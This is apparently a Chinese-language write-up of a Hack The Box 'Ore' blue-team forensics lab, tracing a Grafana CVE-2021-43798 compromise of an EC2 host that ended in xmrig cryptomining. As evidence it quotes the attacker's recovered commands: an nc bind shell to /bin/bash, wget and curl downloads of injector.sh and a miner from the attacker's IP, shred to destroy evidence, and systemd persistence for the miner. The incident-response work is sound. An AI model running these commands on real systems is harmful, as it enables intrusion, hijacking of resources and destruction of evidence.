【HTB】Sherlocks Ore 蓝队 medium
task 1
问题:哪个 CVE 导致了 EC2 的最初泄露?
# 文件放在 ~/htb/Ore 目录
cd usr/share/grafana
ls -la
cat VERSION # 8.2.0
搜索 grafana 8.2.0 exploit 可得 CVE-2021-43798
答案:CVE-2021-43798
task 2
问题:请详细说明针对我们组织的威胁行为者 (TA) 使用的所有恶意 IP 地址。
查看 grafana 用户的历史命令文件
cd usr/share/grafana
ls -la
cat .bash_history
如何确定哪些是管理人员使用的命令?哪些是攻击者使用的命令?
我们可以看到下列命令
whoami
pwd
ls
sudo -l
我们可以看见攻击者检查了以下目录/文件
- /etc/shadow
- /etc/passwd
- /opt/automation/updater.sh
- /var/log/syslog
其中较为特殊的命令如下,包含:篡改updater.sh
脚本命令、执行crontab -e
命令、nc
连接外部地址
vi updater.sh
nano updater.sh
crontab -e
nc -L -d -p 60000 -t -e /bin/bash
nc 44.204.18.94
nc 44.204.18.94 80
CVE-2021-43798 指纹,参考:https://github.com/M0ge/CVE-2021-43798-grafana_fileread
根据指纹查找日志
cd data/log
# 指纹一:../../../../
cat *|grep ../../../../|grep 200|awk -F '/' '{print $NF}'|cut -d ' ' -f1|sort|uniq
# passwd、defaults.ini、sample.ini
# 其中 passwd 是用来测试
# 指纹二:/etc/passwd
cat * |grep -i '/etc/passwd'|grep 200|awk -F 'remote_addr=' '{print $2}'|cut -d ' ' -f1
# 86.5.206.121、95.181.232.32、195.80.150.137
# 其中 86.5.206.121 是内部测试的 IP
答案:44.204.18.94,95.181.232.32,195.80.150.137
task 3
问题:TA 使用哪个帐户向主机操作系统进行身份验证?
查看另一个压缩包
# 文件放在 ~/htb/Ore 目录
cd ~/htb/Ore
tar -zxvf catscale_ip-172-31-13-147-20221124-1501.tar.gz
chmod +x catscale_out # 没有权限,打不开
cd catscale_out/Logs
tar -zxvf ip-172-31-13-147-20221124-1501-var-log.tar.gz
cd var/log
# 解压 auth.log
gunzip auth.log.2.gz
cat auth.log* |grep -i ' sudo:'
# 可以找到下列这条信息
# Nov 23 11:25:39 ip-172-31-60-25 sudo: pam_unix(sudo:auth): auth could not identify password for [grafana]
答案:grafana
task 4
问题:为了提升权限并以“root”身份运行挖矿服务,TA 修改了哪个文件?
task 3 提供攻击者登录 grafana 证明
task 2 提供攻击者登录后使用的命令,其中不断篡改updater.sh
文件
我们进一步查看 auth.log 中执行的命令
cat auth.log* |grep -v session|grep -i ' sudo:'|cut -d ';' -f4|grep COMMAND=|uniq
# 会发现执行了三个可疑脚本
# COMMAND=/bin/su
# COMMAND=./updater.sh
# COMMAND=./injector.sh
# COMMAND=/bin/ps aux
# COMMAND=/bin/su
# COMMAND=./Cat-Scale.sh
updater.sh
: grafana 用户的脚本文件(在 task2 中提到攻击者检查的文件)injector.sh
:名字就是注入,有什么好说的Cat-Scale.sh
:linux 取证脚本(参考:https://labs.withsecure.com/tools/cat-scale-linux-incident-response-collection)
答案:updater.sh
task 5-7、13
task 5 问题:TA使用哪个程序下载injector.sh脚本?
task 6 问题:加密挖掘二进制文件和配置文件最初下载到哪里?
task 7 问题:TA 使用哪个程序下载加密挖掘二进制文件和配置文件?
task 13 问题:我们无法通过取证方式恢复“injector.sh”脚本进行分析。我们认为助教可能运行了命令来阻止我们恢复文件。TA执行了什么命令?
查看 syslog
# 解压所有 syslog
gunzip syslog.2.gz syslog.3.gz syslog.4.gz syslog.5.gz syslog.6.gz syslog.7.gz
# 查找恶意 IP 相关命令
cat syslog*|grep 44.204.18.94 |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# wget http://44.204.18.94:80/injector.sh
# curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json
# nc 44.204.18.94 80
# 查找恶意脚本相关命令
cat syslog*|grep injector.sh |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'|uniq
# wget http://44.204.18.94:80/injector.sh
# chmod +x injector.sh
# sudo ./injector.sh
# /bin/bash ./injector.sh
# shred -u ./injector.sh
# 查找恶意脚本路径
cat syslog*|grep injector.sh |awk -F '<Data Name="TargetFilename">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# /opt/automation/injector.sh
task 5 答案:wget
task 6 答案:/opt/automation/
task 7 答案:curl
task 13 答案:shred -u ./injector.sh
task 8
问题:我们需要确认 SOC 团队开始收集文物的确切时间,因为报告中未包含该时间。他们使用与我们位于林肯的系统管理员相同的面向公众的 IP 地址。
task 4 中说明Cat-Scale.sh
是 linux 取证脚本
cat syslog*|grep Cat-Scale.sh|awk -F ' ' '{print $1,$2,$3}'|head -n 1
# Nov 24 15:01:00
答案:24/11/2022 15:01:00
task 9
问题:请确认系统管理员在某些Grafana配置文件中留下的密码。
task 2 中,根据指纹查找日志,得到sample.ini
、confdefaults.ini
cd usr/share/grafana/conf
cat sample.ini|grep -vE '#|^$'|grep pass -B 1 # admin:admin
cat confdefaults.ini|grep -vE '#|^$'|grep pass -B 1 # admin:f0rela96789!
答案:f0rela96789!
task 10、12
task 10 问题:xmrig 启动时挖掘线程值设置为多少?
task 12 问题:我们无法在原始下载位置找到加密挖掘二进制文件和配置文件。助教将它们移至文件系统的何处?
# 查找恶意进程的文件路径
cat syslog*|grep xmrig |awk -F '<Data Name="TargetFilename">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# /opt/automation/xmrig
# /opt/automation/xmrig.service
# 查找恶意进程相关命令
cat syslog*|grep xmrig |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json
# touch xmrig.service
# chmod 777 xmrig config.json
# chmod 644 xmrig.service
# mv xmrig config.json /usr/share/.logstxt/
# mv xmrig.service /etc/systemd/system/
# systemctl enable --now xmrig --quiet
# /usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=0
# sh -c /sbin/modprobe msr allow_writes=on > /dev/null 2>&1#
task 10 答案:0
task 12 答案:/usr/share/.logstxt/
task 11
问题:我们的 CISO 要求提供有关该矿池可能使用的更多详细信息。请确认TA使用的是哪个(如果有)矿池。
查看进程与网络
# 文件放在 ~/htb/Ore 目录
cd ~/htb/Ore/catscale_out/Process_and_Network
cat ip-172-31-13-147-20221124-1501-ss-anepo.txt|grep xmrig
# u_strESTAB 0 0 * 20361 * 21634 users:(("xmrig",pid=1089,fd=2),("xmrig",pid=1089,fd=1)) -->
# tcp ESTAB 0 0 172.31.13.147:56150 141.95.126.31:10191 users:(("xmrig",pid=1089,fd=13)) timer:(keepalive,18sec,0) ino:22930 sk:a9 <->
恶意进程xmrig
连接外部IP:141.95.126.31:10191
上传到下列在线威胁情报中心分析平台(微步怎么需要登录使用了啊)
- 国外:www.virustotal.com
- 国内:https://ti.qianxin.com/
task 14
问题:我们的 IT 管理员为 TA 修改的脚本创建的 cronjob 多久运行一次?
cd ~/htb/Ore/catscale_out/Persistence/
tar -zxvf ip-172-31-13-147-20221124-1501-cron-folder.tar.gz
cd var/spool/cron/crontabs
cat root
# 30 8 * * * /opt/automation/updater.sh
答案:daily - 08:30